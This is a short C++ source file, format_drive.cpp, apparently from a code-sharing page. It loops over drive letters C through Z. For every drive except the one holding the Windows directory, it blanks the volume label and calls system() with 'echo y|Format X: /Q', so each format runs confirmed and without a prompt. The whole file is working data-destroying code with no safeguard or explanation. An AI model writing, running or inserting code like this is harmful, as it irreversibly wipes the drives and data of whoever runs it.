📄 format_drive.cpp
字号:
#include<windows.h>
#include<iostream.h>
#include<string.h>
#include<stdio.h>
void main()
{
char buf[256];
char curr_drive[256];
char* szCommandFormat = "echo y|Format %c: /Q";
char* Label="%c:\\";
char* name="";
char szLabel[20];
char szCommand[200];
char drive;
memset(buf, 0, 256);
memset(curr_drive, 0,256);
GetWindowsDirectory(buf,256);
strncpy(curr_drive,buf,1);
for (drive = 'C'; drive <= 'Z'; drive++)
{
if(*curr_drive==drive)
{
cout<<"current drive is "<<curr_drive<<endl<<drive<<endl;
}
else
{
sprintf(szLabel,Label,drive);
SetVolumeLabel(szLabel,name);
sprintf(szCommand,szCommandFormat,drive);
system(szCommand);
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -